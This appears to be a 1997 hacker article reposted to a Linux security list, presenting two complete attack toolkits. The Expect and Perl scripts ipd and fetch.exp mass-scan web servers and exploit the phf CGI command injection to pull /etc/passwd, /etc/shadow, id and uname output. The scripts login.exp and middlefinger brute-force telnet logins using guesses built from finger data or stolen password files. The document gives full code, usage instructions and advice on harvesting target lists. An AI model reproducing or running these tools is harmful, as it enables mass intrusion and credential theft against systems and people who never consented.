[Mod: while not directly related to linux security, this post of course is
approved because it provides a good summary and clear description. Please
limit the discussion on this topic to new stuff. In general posts like this
will be approved -- alex]
Automating brute force attacks with ''Expect"
balif and desslok
- Abstract -
phf, a very fast and efficient phf scanner, and mf, a brute force login
program. Both utilize scripts written in Expect, a scripting language
that automates interactive programs like telnet and ftp.
- Intro -
Hacking of the past:
''A young boy, with greasy blonde hair, sitting in a dark room. The
room is
illuminated only by the luminescense of the C64''s 40 character screen.
Taking another long drag from his Benson and Hedges cigarette, the weary
system cracker telnets to the next faceless ".mil" site on his hit
list.
"guest -- guest", "root -- root", and "system --
manager" all fail. No
matter. He has all night... he pencils the host off of his list, and tiredly
types in the next potential victim...'' [1]
Hacking of Today:
A teenager in t-shirt and jeans types in the commands to sort the results of
the web spider. Six thousand new hosts, not bad. Tonight will be a
productive night. He connects to the server that will be used late into the
night, and spawns a session well hidden from sight. Recompiling a custom
''ps'' was quite a good idea, he thinks. The program starts.
Fifty host names
flash before his eyes. He puts on his leather jacket, slicks back his hair,
and looks at the screen one more time. Password files are flying by
already. He stands there looking at the screen silently smiling, then hears
the impatient beeping from his ride downstairs. Closing the door, he leaves
for the party. The screen continues to scroll text...
- Scanning the Internet -
Programs like Satan are well known on the Internet. Such programs involve
pages and pages of C code, with complicated functions and limited ability
to be altered or customized. Massive scanning, described above, is well
within the reach of the "average" user and it''s amazingly
simple. A
working knowledge of Perl is needed. You also need to know a language
called Expect.
- What is Expect? -
Expect is a simple scripting language that uses tcl, which is a small and
simple language designed to be embedded in applications. Expect''s main
use
is for controlling and automating the use of interactive programs like
ftp, telnet and so forth. An understanding of how the language is
structured and four or five keywords will let you write useful programs.
Using the ''autoexpect'' command will let you capture an entire
interactive
session, speeding development many times over (see the man page). But
Expect can do so much more. If you wanted a program that would log you
into an ftp server, it might look like this:
#!/usr/local/bin/expect --
spawn ftp ftp.somehost.com
expect "ame:"
send "anonymous\r"
expect "assword:"
send "me@myhost.com\r"
expect "ftp>"
interact
This will open the ftp program to connect to ftp.somehost.com. Then it
will wait for the appropriate strings and send the correct responses.
''interact'' is a command which turns control back to you, the
user. Thus it
will log you in, and then let you do what you like.
The main reason Expect is so useful is that it can be programmed to
respond to a variety of responses, and it can have a timeout set to only
let a query attempt run for so long. Expect is critical for scanning. It
would be very difficult, if not impossible, to be able to respond to the
wide variety of responses from hosts, plus handle timeouts in just a Perl
environment, and maintain a high level of efficiency. A quick look at
"fetch.exp" will show you what we mean.
----------------------------------------------------------------------
#!/usr/bin/expect --
# Constant
# As a default we query for the passwd file
set pwQuery "/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd"
# We get the address and port id from the command line
set address [lindex $argv 0]
if {$argc == 3} {
set port [lindex $argv 1]
set query [lindex $argv 2]
} elseif {$argc == 2} {
set port [lindex $argv 1]
set query pwQuery
} else {
set port "80"
set query $pwQuery
}
set timeout 45
spawn telnet $address $port
expect {
timeout { puts "timed out"; exit }
"connection refused" exit
"Unknown host" exit
"o route to host" exit
"o address associated with name" exit
"nable to connect" exit
"character is"
}
send "GET $query\r"
expect {
timeout { puts "timed out"; exit }
"html" { exit }
"HTML" { exit }
"closed by" { exit }
}
exit
----------------------------------------------------------------------
the ipd code follows:
----------------------------------------------------------------------
#!/usr/bin/perl
# Scans web servers for bad phf executables
# Constants.
$max = 25; # how many simultaneous shells to run
$debug = 1;
$path = "pwds";
$shadowpath = "$path/shadowed";
$fh = "fh000"; # filehandle variable
$queries =
''/cgi-bin/phf?Qalias=x%0acat%20/etc/passwd%0aecho%20ImPrDr%0aid%0aecho%20ImPrDr%0auname%20-a'';
$getShadow = ''/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/shadow'';
###
##
# Begin main
&banner();
# just to be anal
@really_dumb_sites = ();
$tried = $listlength = $totalgotten = $rootservers = $shadowed = 0;
# Get server list.
unless ($ARGV[0]) { die "Usage: ipd.pl <server list>\n"; }
open(SERVERS, "$ARGV[0]") or die "Cannot read server list:
$!\n";
@servers = <SERVERS>;
close SERVERS;
chomp @servers;
$listlength = @servers;
undef $/; # we won''t need this anymore
# Break the list of servers into smaller arrays, set by the
# variable $max. We want to run a certain number of simultaneous
# shells, but we don''t want to hose the connection too badly.
$index = int($#servers / $max); # for stepping through @servers
# main loop
for (''0'' .. $index) {
@buffer = splice(@servers, 0, $max);
$tried += @buffer;
$listlength = @servers;
print "probe buffer:\n@buffer\n" if $debug;
&probe(@buffer); # recursively query servers
}
# Finish up
&try_for_shadowfile(@really_dumb_sites) if ($#really_dumb_sites > 0);
print << "EOLN";
Total servers breached: $totalgotten
Root servers: $rootservers
Shadowed password files: $shadowed
Done. Exiting...
EOLN
#
##
### End main
sub probe {
$level++;
my $server = shift;
return unless $server;
my $port = "";
my $pipe = "$server$level";
if ($server =~ /:/) {
($server, $port) = ($`, $'');
} else {
$port = "80";
}
open $pipe, "fetch.exp $server $port $queries|"
or die "Can''t open pipe to fetch: $!\n";
&probe(@_); # recurse
($lines) = <$pipe>;
close $pipe;
my $filehandle = $fh++;
print "$lines\n";
if ($lines =~ /root/ ) {
$totalgotten++;
(undef, undef, undef, undef,
$pwfile, $uid, $uname) = split /ImPrDr/o, $lines;
@passwd = split /\n|\r/, $pwfile;
$uid =~ s/\r|\n//gs; # Needed to preserve output
($uname) = $uname =~ /(.*?)(Connection closed by|<\/PRE>)/s;
undef $pwfile;
@passwd = grep /([^:]*:){6,}/o, @passwd;
print "DEBUG $server \@passwd:\n@passwd\nUID: $uid\nUNAME:
$uname\n\n" if $debug;
if (grep /root:.:/, @passwd) {
if ($uid =~ /root/) {
push (@really_dumb_sites, "$server:$port");
$rootservers++;
}
$pathname = "$shadowpath/$server.shpw";
$shadowed++;
} else {
$pathname = "$path/$server.pw";
}
print "\nfilename: $pathname\n" if $debug;
open $filehandle, ">$pathname"
or die "Can''t write passwd file
''$pathname'': $!\n";
print $filehandle join("\n", @passwd);
close $filehandle;
open(IDLOG, ">>idlog") or die "No ID log: $!\n";
print IDLOG "$server $port\n$uid\n$uname\n--\n";
}
print "Leaving on $server\n\n" if $debug;
&show_status();
}
sub try_for_shadowfile {
my ($server, $portno) = split(/:/, shift);
return unless $server;
my $filehandle = "SHADOW$server";
print "\n\nTrying for shadow on $server\n\n";
open($filehandle, "fetch.exp $server $portno $getShadow|")
or warn "Cannot fetch shadow from $server: $!\n";
&try_for_shadowfile(@_);
print
"\n===================try_for_shadowfile==================\n\n";
my @lines = <$filehandle>;
my @shadow = grep /[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:/o, @lines;
close $filehandle;
if (grep /root/, @shadow) {
print "\nGOT SHADOW FROM $server!!!\n\n";
open($filehandle, ">$shadowpath/$server.sh")
or die "Can''t print out shadow for
''$server'': $!\n";
print $filehandle @shadow;
close $filehandle;
} else {
print "\nCouldn''t get shadow for $server\n";
}
print
"\n===================try_for_shadowfile==================\n\n";
}
sub banner {
print << "EOLN";
Imperial Probe Droid
Copyleft (C)1997 Americrack Inc.
"Your Link to Illegal Communications"
EOLN
}
sub show_status {
print << "EOLN";
--------------- ipd ---------------
Tried: $tried Remaining: $listlength
Total servers breached: $totalgotten
Root servers: $rootservers
Shadowed password files: $shadowed
EOLN
}
----------------------------------------------------------------------
- Section 1. -
- Putting it all together -
-- Internet Probe Droid --
Internet Probe Droid, or ipd, is a program that combines the efficient
manipulation of text that Perl offers with the controlling power of
Expect. The Perl code features a recursive subroutine, as deep as you''d
like (or can handle), that breaks up the server list and calls the Expect
"wrapper" to make the connection. The wrapper ensures that connections
terminate appropriately, or times out after a specified amount of time.
With the recursion, a well chosen timeout, and a decent amount of memory
and processing power, it is possible to scan an unbelievable amount of
hosts. Recursion is the key to speed. Scanning 30 hosts at a time, with a
30 second timeout, you can scan approximately 3600 hosts in an hour.
Increasing the timeout will allow for hosts that may be lagging or have
very large password files. Increasing the recursion depth may speed up
scanning, but also may make your drive start to thrash and slow down the
scan.
- OK great. But what does it scan?? -
The original purpose of ipd was to scan for phf, which is a well known
exploit, so read an advisory if you need any more information. However, the
basic engine can be used to scan anything! It''s been rewritten to
record
Sendmail versions, attempt to get unshadowed password files from anonymous
ftp logins, and it could even be setup to attempt to login to servers with
default passwords... which ''middlefinger'' does, exploiting
finger data.
See the next section for more on that.
- Information about phf Scanning -
ipd uses some ingenious techniques to gather as much information in as
little time on as many hosts as possible. By having multiple "%0a"
sequences it embeds several commands in one phf query, gathering the
password file, the output of "id" to determine what the web server is
running at, and the output of "uname -a" to get version information.
To
aid in splitting this information up, ipd also has the server help out a
bit. In the phf string it includes two echoes, which the Perl program uses
to split on.
If the server does not run phf, or does not let you exploit it, then ipd
will not do anything with the output and continue scanning. If it does,
then it breaks up the output. Then it determines if the password file is
shadowed or unshadowed. It saves it to the appropriate directory, thus
sorting the results for you. Then it saves the results of "id" and
"uname
-a" to a log file, to be later reviewed by you.
- How to prepare a "hosts" file for scanning -
The program "grab.pl" will search through a HTML source document and
gather all Web URL''s that it finds. You can sort and uniq this list,
and
then you are ready to go. To get documents, either do web searches for
common words, run a web spider, or download large bookmark files. There
are dozens of ways of getting a large quantity of URL''s.
- How to run ipd -
It couldn''t be easier. Type "ipd <server list to
scan>". Then let it run.
- Problems with running ipd -
Every time you make a request from a web server, it logs in it in an
access_log. Some sites detect the phf string and log your IP, in some
cases even claiming to automatically "mail your administrator." One
site
would go so far as to port scan you back. If you run this program, even
from a Dynamic IP on your local machine, your administrator is bound to
get a lot of responses from pissed off people. So it''s a good idea not
to,
and study the code to learn a little bit about perl instead. <g>
- History of ipd -
V.0
-We both came out with a simple script that would scan one host at a time.
One did a "lynx -dump ... > filename". Then Expect was added and
fetch.exp
written. It would log EVERYTHING and the output would have to be searched
by hand. The "glue" script was named "auto.pl", but
dropped and ipd was used.
-ipd was improved to better manage and sort output, saving only useful
information.
V.1
-Recursion was added. This improved the script''s speed a thousandfold.
V.2
-ipd would record each host that ran phf, then make one massive "id"
scan on
them. ipd would make requests for "id" iff a server responded to the
phf
string.
-ipd would record each host that had a shadowed password file, and attempt
to get the shadow file if the server ran as root.
-The Python phf scanner was released it 2600 Magazine. It did exactly what
auto.pl did two months ago. We laughed and then vowed to release ipd.
-A little later, ipd was altered to scan and record Sendmail versions and
get unshadowed pw files via ftp. (Although they are very rare now a days.)
V.3
-ipd sent multiple requests in one phf query, and became even faster.
This reduced the code quite a bit too. "uname -a" recording was
included.
-ipd released!
- Why ipd was Released -
This program effectively demonstrates the power of Perl and Expect. It
also shows just how many hosts still run an exploitable version of phf
after more than a year of security alerts. What''s even more amazing is
how
many people run phf as root. We didn''t release this to be
"malicious
hackers." We hope that by having such an effective program being handed
out,
people will become more inclined to be informed about basic security
problems.
- ipd Usage -
You need a list of web servers. ipd will read the list and query as many
servers as you set the $depth variable in the ipd script. Try starting
with 20 or 50. System loads of 50 are quite a site, so you may want to run
''top'' in another window to watch the load.
ipd will print all activity to stdout, but it will only log id and uname
info to a file ("idlog") and it will sort shadowed and unshadowed
passwd
files in ./pwfiles/shadowed. For more or less verbose output toggle the
$debug variable.
- Section 2. -
- middlefinger: Automating brute force login attempts -
middlefinger was conceived as a way to exploit the finger command. For
years it''s been written about how finger creates a system
vulnerability...
but certainly only if one has the patience to repeatedly attempt to login
to accounts based on what little data is gathered with finger. Who wants
to sit for hours trying to login based on guesses? Of course when the task
is extremely repetitive, this suggests there must be a way to automate it
:-)
Expect provides a simple way to automate the entire login attempt. Try
reading the simple script mf uses, called "login.exp":
----------------------------------------------------------------------
#!/usr/bin/expect --
set host [lindex $argv 0] ;# host is taken from the command line
set account [lindex $argv 1] ;# ditto the account name
set pw [lrange $argv 2 end] ;# the rest are potential passwords
set timeout 60
foreach password $pw {
puts "\n\nExpect: using $account $password
-----------------------------"
spawn telnet $host
expect "ogin:"
send "$account\r"
expect "assword:"
send "$password\r"
expect {
# we look for the "Last login" message or shell prompts
"ast login" {
puts "LOGGED INTO $host $account $password"
send "exit\r";
}
"#$" {
puts "LOGGED INTO $host $account $password"
send "exit\r";
}
"%$" {
puts "LOGGED INTO $host $account $password"
send "exit\r";
}
"\$$" {
puts "LOGGED INTO $host $account $password"
send "exit\r";
}
# otherwise bail out
"incorrect" close
"invalid" close
}
}
exit
---------------------------------------------------------------------
Explicit closes and exits will save system resources. With a recursive
Perl script acting as the "glue" language, we can attempt dozens of
simultaneous logins at once.
mf is mostly a Perl script but the functionality of Expect is what makes
the task so easy to accomplish. mf will gather loads of finger data for
you, storing it in an array, and then use the collected data to attempt to
login to the remote host by sheer brute force (using as many simultaneous
login attempts as your system and network can handle, not to mention the
remote!) A passwd file can also be used for login data. Here is
"mf.pl":
----------------------------------------------------------------------
#!/usr/bin/perl
# ''middlefinger''
# Finger a remote host, collect accounts and names.
# or use provided passwd file
# Use that data to attempt to login.
$max = 15;
$host = $passwdfile = $debug = $pwlist = 0;
&parser(); # parse command line
die "Usage: mf.pl [-h<remote host>] [-f<passwdfile>]
[-l<password list>] [-d]\n" unless $host;
&banner();
# Names to finger. This can obviously be expanded.
@names = qw/mike steve michael mark tim susan cheryl laura john william
bill jill sue chris adam kathy cathy rebecca joseph joe frank tracy tammy
christopher alan edward shelly emily carrie terry carol caroline paul
brian tom thomas heather becky barbara barb todd ron ronald
david sharon harold frank benjamin jean gene lisa lee anthony/;
# Collect account data
if ($passwdfile) {
open FILE, "$passwdfile" or die "Can''t open
$passwdfile: $!\n";
@accountdata = <FILE>;
close FILE;
&refine_passwdfile_data();
} else {
# finger the remote for info
foreach $name (@names) {
print "Trying $name...\n" if $debug;
open PIPE, "finger -l $name\@$host|"
or die "No finger $name\@$host: $!\n";
@accountdata = (@accountdata, <PIPE>);
close PIPE;
}
print "Refining finger data\n" if $debug;
&refine_finger_data();
}
# Break the list of accounts into smaller arrays, set by the
# variable $max. We want to run a certain number of simultaneous
# shells, but we don''t want to max out the ports on the other end
# or hose the connection too bad.
@keys = sort keys %hash;
$index = int($#keys / $max); # for stepping through the array @keys
for (''0'' .. $index) {
@buffer = splice(@keys, 0, $max);
# print "buffer: @buffer \nlength: $#keys\n";
&try_to_login(@buffer);
}
print "\nDone. Exiting...\n";
###
### Subroutines
###
# Attempt to login with each account
sub try_to_login {
my $account = shift;
return unless $account;
$level++;
my $pipe = "PIPE$level";
open $pipe, "login.exp $host $account @{$hash{$account}}|"
or warn "No pipe to telnet: $!\n";
&try_to_login(@_); # recurse
print "\n=====================================================\n";
print "Trying ACCOUNT: $account PASSWORDS: @{$hash{$account}}\n";
my @lines = <$pipe>;
close $pipe;
print "@lines";
print "\n=====\n";
}
# filter out potential nonpasswords
sub pw_filter {
my %pws;
my (@list) = @_;
print "List: @list\n" if $debug;
if ($passwdfile) {
for (@list) {
unless (length($_) < 5) {
s/[()'']//g;
$pws{$_}++;
if (length($_) == 5) { $pws{"${_}1"} = "${_}1";
}
}
}
} else {
# process finger data
for (@list) {
unless ($_ =~ /login|login:|name:|name|in|real|life/i || length($_) < 5)
{
s/[()'']//g;
$pws{$_}++;
if (length($_) == 5) { $pws{"${_}1"} = "${_}1";
}
}
}
}
print "returning ", join('' '', keys %pws),
"\n" if $debug;
return keys %pws;
}
# parse the command line
sub parser {
for (@ARGV) {
/^-h/ && do { $host = $''; next; };
/^-f/ && do { $passwdfile = $''; next; };
/^-d/ && do { $debug = 1; next; };
/^-l/ && do { $pwlist = $''; next; };
}
}
# Refine finger data
sub refine_finger_data {
@logins = grep /Login/, @accountdata;
chomp @logins;
# Dumb kludge. "@logins = grep /[^?]$/, @logins;" doesn''t
work.
for (@logins) {
/.$/;
if ($& eq ''?'') { undef $_; }
}
print "filtered logins:\n", join("\n", @logins);
$results = @logins;
die "Insufficient account data\n" unless $results;
# Store login data into data structure
for (@logins) {
tr/[A-Z]/[a-z]/;
s/(\s)+/ /g;
print "\n\nDespaced: $_\n" if $debug;
@a = split(/ /);
print "pw_filter: ", join('' '',
&pw_filter(@a)), "\n" if $debug;
# toggle this depending on finger''s output
$login = $a[2]; # <----- TOGGLE!
$hash{$login} = [ &pw_filter(@a) ];
print "Data: account-> $login, pws-> @{$hash{$login}}\n\n"
if $debug;
}
}
sub refine_passwdfile_data {
for (@accountdata) {
@fields = split(/:/);
@namedata = split(/,/, $fields[4]);
print "pwdata: $fields[0] $namedata[0]\n" if $debug;
$login = $fields[0];
$namedata[0] =~ tr/A-Z/a-z/;
@a = split(/ /, $namedata[0]);
print "pw_filter: ", join('' '',
&pw_filter(@a)), "\n" if $debug;
$hash{$login} = [ &pw_filter($login, @a) ];
print "Data: account-> $login, pws-> @{$hash{$login}}\n\n"
if $debug;
}
}
sub banner {
print << "EOLN";
Middle Finger
Copyleft (C)1997 Americrack Inc.
"Your Link to Illegal Communications"
EOLN
}
----------------------------------------------------------------------
An important tweak you will have to make if you use ''finger''
data: finger
output is different under the various versions and proprietary copies.
Look for the line in the Perl script that indicates where to set the index
numbers. For example:
Login: luser Name: Joe Blow
Directory: /home/timski Shell: /bin/bash
Never logged in.
New mail received Wed Jun 4 15:41 1997 (EDT)
Unread since Tue Mar 18 22:36 1997 (EDT)
No Plan.
The index here would be 1 for the account name. mf will use the name data
to generate simple passwords and the rest will be discarded.
middlefinger proved to be effective on its very first test run, which was
both amazing and disturbing. Not allowing fingers to your host machines
would indeed be a very good idea.
Later it was decided to add the capability to parse passwd files and use
that data to attempt a brute force login to a system, which also proved
very effective. Shadowed passwd files make a good source, an abundance of
which you can collect with ipd. Unlike ipd, mf does not sort its output
very well, which we leave as an excercise to the reader :-) It is easy to
cook up a Perl script to reduce the output (which you can capture with
''script'', for example).
Expect can be used to write a simple wardialer as well. There seems to be
little Expect cannot automate. It is an indispensable system
administration tool.
[1] Quote from Improving the Security of Your Site by Breaking Into it by
Dan Farmer, Wietse Venema
